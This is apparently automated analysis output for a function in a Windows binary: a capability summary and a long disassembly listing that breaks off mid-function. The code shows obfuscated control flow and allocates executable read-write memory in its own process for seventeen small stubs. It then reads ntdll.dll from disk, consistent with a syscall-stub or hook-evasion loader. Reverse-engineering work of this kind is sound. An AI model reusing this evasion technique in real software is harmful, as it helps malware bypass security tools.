Function at 0x14000d0f0
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
mov eax, 0x53a0
call fcn.140063dc0
sub rsp, rax
lea rbp, [rsp + 0x80]
sub rsp, 0x20
call fcn.140062e10
add rsp, 0x20
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0x3cb95591
sub edx, 1
sub edx, 0x3cb95591
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000d157
jmp 0x14005500c
mov eax, 0x20
mov qword [rbp + 0x1fa0], rax
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1d60], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1d68], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1d70], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1d78], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1d80], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1d88], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1d90], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1d98], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1da0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1da8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1db0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1db8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1dc0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1dc8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1dd0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1dd8], rax
mov eax, 0x10
mov qword [rbp + 0x2060], rax
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1de0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1de8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1df0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1df8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e00], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e08], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e10], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e18], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e20], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e28], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e30], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e38], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e40], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e48], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1e50], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e58], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e60], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e68], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e70], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e78], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e80], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e88], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e90], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1e98], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ea0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ea8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1eb0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1eb8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ec0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ec8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ed0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ed8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ee0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ee8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1ef0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1ef8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f00], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f08], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f10], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f18], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f20], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f28], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f30], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f38], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f40], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f48], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f50], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f58], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f60], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f68], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f70], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f78], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f80], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f88], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1f90], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1f98], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1fa0]
mov rcx, rsp
mov qword [rbp + 0x1fa8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1fb0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1fb8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1fc0], rax
mov eax, 0x130
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1fc8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1fd0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1fd8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1fe0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1fe8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1ff0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x1ff8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x2000], rax
mov eax, 0x50
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2008], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2010], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2018], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2020], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2028], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x2030], rax
mov eax, 0x30
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2038], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2040], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2048], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2050], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2058], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x2060]
mov rcx, rsp
mov qword [rbp + 0x2068], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x2070], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000db13
jmp 0x14005500c
jmp 0x14000db18
mov eax, 0x10
mov qword [rbp + 0x1d48], rax
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1be8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1bf0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1bf8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1c00], rax
mov eax, 0x30
mov qword [rbp + 0x1d38], rax
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c08], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c10], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c18], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d38]
mov rcx, rsp
mov qword [rbp + 0x1c20], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c28], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d38]
mov rcx, rsp
mov qword [rbp + 0x1c30], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c38], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d38]
mov rcx, rsp
mov qword [rbp + 0x1c40], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c48], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c50], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c58], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c60], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c68], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c70], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c78], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c80], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c88], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1c90], rax
mov eax, 0x2000
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1c98], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1ca0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1ca8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1cb0], rax
mov eax, 0x110
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1cb8], rax
mov eax, 0x20
mov qword [rbp + 0x1ce0], rax
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1cc0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1cc8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1cd0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1cd8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1ce0]
mov rcx, rsp
mov qword [rbp + 0x1ce8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1cf0], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1cf8], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1d00], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1d08], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1d10], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d38]
mov rcx, rsp
mov qword [rbp + 0x1d18], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1d20], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d38]
mov rcx, rsp
mov qword [rbp + 0x1d28], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1d30], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d38]
mov rcx, rsp
mov qword [rbp + 0x1d40], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, qword [rbp + 0x1d48]
mov rcx, rsp
mov qword [rbp + 0x1d50], rcx
call fcn.140063dc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1d58], rax
mov dword [rbp + 0x4314], 0
sub rsp, 0x20
call fcn.140002400
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add rsp, 0x20
mov dword [rbp + 0x4310], eax
mov r8d, dword [rbp + 0x4310]
mov ecx, 0x1fffff
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov qword [rbp + 0x4308], rax
mov rcx, qword [rbp + 0x4308]
xor eax, eax
mov edx, eax
mov r8d, 0x17
mov r9d, 0x1000
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov qword [rbp + 0x4300], rax
mov rax, qword [rbp + 0x4300]
add rax, 0x17
mov qword [rbp + 0x42f8], rax
mov rax, qword [rbp + 0x42f8]
add rax, 0x17
mov qword [rbp + 0x42f0], rax
mov rax, qword [rbp + 0x42f0]
add rax, 0x17
mov qword [rbp + 0x42e8], rax
mov rax, qword [rbp + 0x42e8]
add rax, 0x17
mov qword [rbp + 0x42e0], rax
mov rax, qword [rbp + 0x42e0]
add rax, 0x17
mov qword [rbp + 0x42d8], rax
mov rax, qword [rbp + 0x42d8]
add rax, 0x17
mov qword [rbp + 0x42d0], rax
mov rax, qword [rbp + 0x42d0]
add rax, 0x17
mov qword [rbp + 0x42c8], rax
mov rax, qword [rbp + 0x42c8]
add rax, 0x17
mov qword [rbp + 0x42c0], rax
mov rax, qword [rbp + 0x42c0]
add rax, 0x17
mov qword [rbp + 0x42b8], rax
mov rax, qword [rbp + 0x42b8]
add rax, 0x17
mov qword [rbp + 0x42b0], rax
mov rax, qword [rbp + 0x42b0]
add rax, 0x17
mov qword [rbp + 0x42a8], rax
mov rax, qword [rbp + 0x42a8]
add rax, 0x17
mov qword [rbp + 0x42a0], rax
mov rax, qword [rbp + 0x42a0]
add rax, 0x17
mov qword [rbp + 0x4298], rax
mov rax, qword [rbp + 0x4298]
add rax, 0x17
mov qword [rbp + 0x4290], rax
mov rax, qword [rbp + 0x4290]
add rax, 0x17
mov qword [rbp + 0x4288], rax
mov rax, qword [rbp + 0x4288]
add rax, 0x17
mov qword [rbp + 0x4280], rax
mov rax, qword [rbp + 0x4280]
add rax, 0x17
mov qword [rbp + 0x4278], rax
mov dword [rbp + 0x4274], 0
mov qword [rbp + 0x4268], 0
mov dword [rbp + 0x4264], 0
mov dword [rbp + 0x4260], 0
mov qword [rbp + 0x4258], 0
mov rax, qword [rbp + 0x4300]
mov qword [0x1401eb040], rax
mov rcx, qword [rbp + 0x4300]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42f8]
mov qword [0x1401eb048], rax
mov rcx, qword [rbp + 0x42f8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42f0]
mov qword [0x1401eb050], rax
mov rcx, qword [rbp + 0x42f0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42e8]
mov qword [0x1401eb058], rax
mov rcx, qword [rbp + 0x42e8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42e0]
mov qword [0x1401eb060], rax
mov rcx, qword [rbp + 0x42e0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42d8]
mov qword [0x1401eb068], rax
mov rcx, qword [rbp + 0x42d8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42d0]
mov qword [0x1401eb070], rax
mov rcx, qword [rbp + 0x42d0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42c8]
mov qword [0x1401eb078], rax
mov rcx, qword [rbp + 0x42c8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42c0]
mov qword [0x1401eb080], rax
mov rcx, qword [rbp + 0x42c0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42b8]
mov qword [0x1401eb088], rax
mov rcx, qword [rbp + 0x42b8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42b0]
mov qword [0x1401eb090], rax
mov rcx, qword [rbp + 0x42b0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42a8]
mov qword [0x1401eb098], rax
mov rcx, qword [rbp + 0x42a8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x42a0]
mov qword [0x1401eb0a0], rax
mov rcx, qword [rbp + 0x42a0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x4298]
mov qword [0x1401eb0a8], rax
mov rcx, qword [rbp + 0x4298]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x4290]
mov qword [0x1401eb0b0], rax
mov rcx, qword [rbp + 0x4290]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x4288]
mov qword [0x1401eb0b8], rax
mov rcx, qword [rbp + 0x4288]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x4280]
mov qword [0x1401eb0c0], rax
mov rcx, qword [rbp + 0x4280]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x4278]
mov qword [0x1401eb0c8], rax
mov rcx, qword [rbp + 0x4278]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x4274]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor eax, eax
mov r9d, eax
sub rsp, 0x40
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov qword [rbp + 0x4268], rax
mov rcx, qword [rbp + 0x4268]
xor eax, eax
mov edx, eax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetFileSize]
add rsp, 0x20
mov dword [rbp + 0x4264], eax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rsp, 0x20
mov rcx, rax
mov eax, dword [rbp + 0x4264]
mov r8d, eax
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add rsp, 0x20
mov qword [rbp + 0x4258], rax
mov rcx, qword [rbp + 0x4268]
mov rdx, qword [rbp + 0x4258]
mov r8d, dword [rbp + 0x4264]
lea r9, [rbp + 0x4260]
xor eax, eax
sub rsp, 0x30
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
add rsp, 0x30
mov rax, qword [rbp + 0x4258]
mov qword [rbp + 0x4250], rax
mov rax, qword [rbp + 0x4258]
